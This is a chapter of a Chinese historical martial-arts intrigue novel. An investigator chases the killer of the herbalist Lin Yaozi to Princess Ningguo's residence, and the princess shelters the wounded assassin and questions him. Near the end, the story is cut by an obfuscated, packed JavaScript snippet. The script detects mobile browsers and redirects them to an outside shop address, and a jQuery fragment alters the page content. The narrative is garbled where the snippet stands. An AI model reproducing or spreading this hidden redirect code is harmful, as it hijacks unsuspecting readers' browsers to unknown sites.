夜雨淅沥,掩盖了城中的一切动静。
西市内,各家店铺皆都闭门落锁,白日里的一切嘈杂喧哗都被这无尽的雨水冲刷殆尽。
西南隅的无央巷,是整座西市最神秘的存在。与其他地方沸反盈天的热闹场面不同,这里的一切交易都在无声中进行,卖家不需吆喝招揽客人,买家也不问真假来路,一切都在心照不宣间完成。
无央巷的角落,一间狭小铺子里亮着昏暗的烛火,这点微弱光芒在雨夜中摇曳不定,却也格外显眼。
店主人是个从不以真面目示众,且不知具体年龄的男人,他从来将自己裹在一袭宽大的黑色衣袍中,连手指都吝啬于显露在外,唯留一双浑浊的眼睛无波无澜地看着尘世。
这么晚了,他还留在店中做什么?
雨帘细密,藏身在杂物后的卫安一错不错地盯着对面店铺。
他奉司丞之命,暗中追查市面上流通的各种可能与窦巡之死有关的毒物。这样的毒物,他们以往从未见过,经验老道的仵作与医师也不能确定,那定然非寻常之物,因而卫安最先盯上无央巷。
经过多日的蛰伏与暗中打听,控钤卫乔装打扮,辗转奔波,一条条线索收拢汇合,卫安终于锁定了最可疑之人,便是眼前这家店铺的主人,旁人都唤他林药子。
就在今夜,卫安准备率人收网。
在这家名不见经传的铺子外,埋伏了数十位控钤卫,只待卫安一声令下,他们便会迅速收缩包围圈,让那林药子无路可逃。
卫安敛声屏气,右手按在腰间长刀上,耐心等待最佳逮捕时机。
夜雨绵绵,忽而一阵冷风吹过,似将细密雨帘切开一霎,店中微弱的烛火颤颤巍巍,最后的火芒被夜风扑灭,室内陷入一片黑暗。
卫安凝神,听见店中有轻微的衣袍窸窣声,像是林药子起身之际,宽大的衣摆扫过桌椅发出的动静。
手一挥,四周隐秘埋伏的控钤卫齐步悄声上前。
“哐当——”
一声重响从店铺中传出,隔着一段距离,众人也听得分明。
卫安心中陡然升起一丝不祥的预感。还不待他做出反应,便见雨幕中,一道清瘦的黑影破窗而出,与此同时,一股淡淡的血腥味穿透雨帘,钻入卫安的鼻腔。
黑影没有急着离开,他立在雨中,回头看了一眼店铺,继而转首,目光落在角落里的那堆杂物上。
显然,他察觉到有人存在。
不做停留,黑影纵身掠上屋顶,眨眼间,身影消失不见。
卫安毫不犹豫现身跟上,追着那道黑影而去。其余控钤卫冲进店内,浓重的血腥气扑鼻而来。点亮火折子,众人低头一看,赫然发现地上躺着一具尚还温热的尸体——正是他们多日来的盯梢目标,林药子。
那黑影身手极好,即便卫安身手也不弱,在控钤司内难逢敌手,然而他倾尽全力追赶,依旧被那人甩在身后。
眼见那人轻盈地越过西市北面坊墙,几个起落间,又稳稳落在布政坊的墙头上,卫安不甘就此罢休,只见他手腕猛地一抖,一枚暗器破开雨幕,直直射向那道身影。
那人不妨暗手,正欲跳下高墙,忽而喉间滚过一声闷哼,右边肩颈处传来一阵撕裂般的疼痛,身影一个踉跄,那人直愣愣地从墙头栽下。
卫安越过坊墙,落到那人身边,手中长刀出鞘,见那人倒在地上,身下的雨水已被染成殷红之色。
料想这人攻击力去了大半,卫安心弦略略一松,正欲伸手去擒他,不妨后者猛然间滚至一旁,从地上敏捷跃起!卫安神色骤变,防备间,见一道银光闪过,那人手握一把短刀向他刺来。
二人来回交手,你来我往间不分伯仲。卫安心中激起一片惊涛骇浪,他飞出去的那枚暗器带毒,没想到这人带伤中毒,招式依旧凌厉,不见半分颓势!
卫安心中发狠,借着错身之际,探手扣住那人被暗器所伤的右肩。
指节用力,那人剧痛之下,口中溢出鲜血,左臂却以一种十分诡异的角度向后一折,卫安躲闪不及,肩胛处被短刀划伤。
从卫安手下逃脱,那人拖着伤势颇重的右臂,凝聚全身功力于掌间,狠狠轰向卫安!近乎鱼死网破的一招对轰,那人在卫安反应过来之前,朝着东南方向逃去。
不过一刹,卫安便知大势已去,他咬牙跃上高处,看着黑影逃离的方向。
那个方向……是宁国公主的宅邸。
“咔嚓——”
那边院墙有轻微声响传来,公主宅邸中巡夜的护卫猛然停步,原本平淡无波的眼神瞬间变得警惕戒备。
布政坊夜间常有野猫出没,在平时或许是猫儿踩过瓦当发出的声响,可是今夜风急雨大,野猫机敏,怎会随意出没?
或许是直觉,或许是理智,护卫小心翼翼地朝那边走去。
这处地方实在偏僻,稀稀疏疏地种着几株梨树,眼下已经发了翠绿的新叶,花骨朵儿也长出来了,只是今夜风雨摧残,也不知明日还能有多少花苞留着。
护卫站在梨树下,目光扫视四周。
倏然余光瞥见一抹黑影,护卫霍然转头,厉声喝道:“谁?”
话音刚落,一道人影从高处摔了下来。
重云阁内,帘卷玉钩,绣罗窣地。
宁国公主卸去白日的妆束,素面朝天,青丝披散,静坐在案前。那双向来令人不敢直视的威严凤眸此时满是平和,公主执笔挥毫,借着习字打发漫漫长夜。
使女曲兰走进来,轻声道:“公主,近日我们的人发现,国子丞闻人岐常在下值后出入升平坊的一家柜坊。”
怀因闻言抬头:“嗯?”
曲兰:“我们的人去查过,那家柜坊是一名胡商开的暗坊,位置隐蔽,每日开设赌局。”
怀因停笔:“闻人岐在赌博?”
国朝律法严禁赌博,朝廷虽三令五申,但赌博之风依旧盛行。皇都城内有不少赌坊,要么开设在地下黑市,要么身后有权贵庇护,屡禁不止。
曲兰:“闻人岐沉迷赌博已有半年时间了。”
“难怪……”怀因若有所思,“近几次见面,总觉得闻人岐有些萎靡不振。”想来是手艺不精,输多赢少。
“告诉杜经,他知道该怎么做。”怀因道。
曲兰:“是。”
杜经是御史台监察御史,投靠宁国公主麾下后,一直唯公主马首是瞻。公主素来厌恶闻人岐,每每后者犯了什么事,公主总是授意她的人上疏弹劾。尽管闻人岐的妻族位高权重,总能保下他,可公主对于给闻人岐找麻烦一事乐此不疲,搞得闻人岐每每见了公主,就如老鼠见了猫一般。
曲兰坐在怀因身旁,公主每写完一张字,曲兰就将其收至一旁小案,用镇纸压住,待其风干。
主仆二人沉默无言,雨夜静谧,室内灯火明亮。
“笃笃。”
有人敲门。曲兰起身走过去,片刻后,她返回内室,神色怪异:“公主,方才府中护卫巡夜时,发现了一名闯进来的……刺客。”
怀因手上动作一顿,墨滴落在雪白的纸张上,氤氲成墨团。
“刺客?”
最近因着窦巡一案,皇都中人人自危,生怕被控钤司盯上,与窦巡之死牵扯上关系。如此敏感的节骨眼上,怎会有刺客闯入她的宅邸?
怀因搁笔:“去看看。”
曲兰应是,从衣架上拿过一件紫菀的披袍为怀因披上,二人出了门,顺着长廊来到护卫所在的后廊。
“公主。”
见到怀因出现,护卫上前行礼:“此人是属下在后院巡夜时发现的,他身负重伤,从墙头摔了下来。”
怀因拢了拢披袍,闻言挑眉:“受了伤的刺客?”
曲兰提着灯笼,照亮地上那人的脸。
蒙面的黑布早已被护卫扯下,那是一张极为俊美的脸,面上贴着几缕杂乱的湿发,灯火笼罩下,那人容色惨白,呼吸微弱。
怀因居高临下:“来杀我的?”
此话一出,廊下众人连忙呈护卫状,将怀因围在中心。
地上的刺客在之前的逃窜中已将全身气力用尽,最后对上卫安的那一掌更是令他体内经脉近乎断绝,这些往日在他眼中如蝼蚁般的护卫,现在却能轻而易举取他性命。
可是他还不能死。
他躺在地上,艰难开口:“……不是。”
怀因:“那就是来栽赃陷害我的。”
刺客仍旧摇头。
怀因难得起了好奇,笑道:“难不成是一只迷了路的雀儿,胡乱闯进了我的府邸?”
刺客沉默不言。
一旁护卫道:“公主,此人伤势极为严重,体内经脉有半数受损,身上外伤似被暗器所伤,且暗器带毒,十分凶险。”
若是不及时医治的话,这个人就废了。
怀因垂眼看着地上的男人,神色淡漠,似有所思。
雨势渐缓,如针如丝,廊下系着的护花铃被雨水洗过,檐铃碎玉,廊外风摇翠竹,竹露清响。
“公主。”
另有心腹使女匆匆走来,附在怀因耳畔悄声说了些什么,怀因听罢,长眸微凛:“当真?”
使女点头:“千真万确。”
怀因目光重新落到刺客身上,怀疑探究地看着他。
公主府外围有暗哨日夜轮岗,就在刚才,眼前这位刺客闯入府中时,府外忽然来了一群控钤卫。
如今控钤司全力查办窦巡的案子,一举一动必然与窦巡案相关,怎么恰巧前脚她的府中有外人闯入,后脚控钤卫就急急忙忙地带人围府?
此人究竟是谁?能被控钤司如此重视?他与窦巡之死有何关系?今夜闯入宁国公主府,是有意还是无心?
后廊一片寂静,所有人都在等待公主示令。
就在此时,又有人疾步来到后廊,对怀因轻声道:“公主,外面控钤司的人都撤走了。”
怀因拧眉,湿润的夜风拂过她的眉眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449971|201153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬了扬下巴,怀因道:“将他挪到西院,让府上的医师瞧一瞧,还能不能救。”
护卫领命,于是众人有条不紊地将地上的男人抬走,曲兰陪着怀因离开后廊。
一切恢复如常,雨停风住,夜色寂静,花香浮动,月光朦胧。府中各处增加了巡夜人手,一处一处地巡逻府中各个角落,确保不放过任何地方,避免再发生类似的情况。
夜空上,一轮朦胧玉盘游走在乌云中。
在刺客摔下来的那道墙上,一把铮亮的短刀静静躺在墙头上,在沉沉深夜中,刀面水珠映着月光,有幽光闪动。
天边倏然有了动静。
起先是极小的一个黑点,疾速飞翔而来,几个眨眼间,黑点越来越近,越来越快,渐渐的,有了朦胧轮廓,能看清有力的翅膀。
是一只矫健的苍鹰。
苍鹰俯冲而下,直直冲向墙头上的短刀。
如蜻蜓点水,苍鹰在墙头停留仅短短一瞬,便再次舒展翅膀,高飞而去。
乌云散去,月光轻盈。
墙头之上,短刀消失不见,一派空寂。
怀因回到寝殿,脱去外袍,复坐回书案后,将之前被墨点污染的纸张丢弃,重新提笔写字。
一笔一划落得平稳,曲兰仍旧跪坐一旁,她感受不到公主的任何情绪起伏,就像方才她们只是出去站在檐下听雨,雨停了,她们就回来了。
可是曲兰知道,公主心中一定有了谋划。她知道公主不是大善人,她做的每一件事都有自己的目的,例如今夜那只迷路的黑雀。
-
男人醒来时,映入眼帘的是素白的床帐,有日影落在其上,投出各种斑驳落影。
他没死。男人心想。
这个念头甫一冒出,右边肩颈处便传来隐隐疼痛,像是虫蚁在啃食他的血肉,也在提醒他,他没死。
是她救了他?男人回忆自己昏过去前记忆中的最后一幕,是一个女人。
张了张嘴,发出一声毫无意义的声音,男人咬牙撑着坐了起来,这才发现自己的衣服被换了,现在穿在他身上的,是一身不太合身的里衣。
衣衫松松垮垮地拢在身上,胸膛肌肤大剌剌地露在外面,衣襟之下,隐约可见一片淡青色的图案,若隐若现。
“醒了?”
忽有一道女声响起,男人下意识掩住胸膛,同时运功防备,然而下一瞬,体内猛然窜出一阵剧痛,男人抬起来的手骤然下垂,浑身冷汗淋漓。
“不想成为废人,就老实待着。”女声继续道。
男人粗喘了几口气,伸手将身上的衣服整理好,掩住胸膛,循着声音方向看过去。
怀因安然坐在对面小榻上,正垂眸饮茶。
果然是她救了自己。男人心中感激,却也不免好奇,她竟然真的会救自己。
挣扎着掀开被子,男人强忍着浑身不适,下床对怀因行礼道谢:“女郎救命之恩,某感激不尽。”
怀因闻言放下茶盏,意味不明地轻笑一声。
她道:“你昨夜杀人了。”
语气肯定,并不是在询问。
皇都里每天都有人死亡,或死于生计所迫,或死于权力倾轧。控钤司行事,是绝对的隐秘,故而即便怀因派人出去打探,也难以有结果。
但她能肯定,男人昨晚杀了人,且杀的是控钤司的目标。
男人迟疑片刻,坦然道:“是,我杀了人。”
怀因问:“杀的谁?”
男人:“西市无央巷的一个商人,叫林药子。”
怀因沉吟,确定自己对此人没有印象。她道:“为什么要杀他?”
男人眸中闪过一丝悲痛:“五年前,他为了一株药材,杀人越货,害死了我的弟弟。”
怀因看着他,似在辨别他说的是否是真话。
男人避开对方的视线。女郎的目光一寸寸地扫过他的全身,就像在打量一个物件,眸中没有任何情绪,也没有任何温度。
“为什么挑在昨天杀他?”怀因想,如果她没猜错的话,昨夜也是控钤司准备动手的时机。
男人沉默片刻:“昨天是我弟弟的忌日。”
怀因颔首:“兄弟情深。”
“坐着吧。”怀因道,“府上的医师为你诊过脉,体内有余毒淤积,且经脉受损,难以恢复,为了将你的命救回来,我府中的上好药材可尽数都用在你身上了。”
男人闻言,深深行礼:“救命之恩,无以为报,从此愿为女郎赴汤蹈火,在所不辞。”
“是吗?”
怀因并不在意这些虚无缥缈的承诺,不咸不淡道:“你胸前似乎有个刺青图案。”
男人身子一僵。
怀因看着他:“我见过这个刺青。”
男人胸前有一片青色的图案,很是怪异,寥寥几笔勾勒而成,看着像是一个狼头。
男人不言,似要隐藏什么。
怀因不紧不慢道:“你是涂於人。”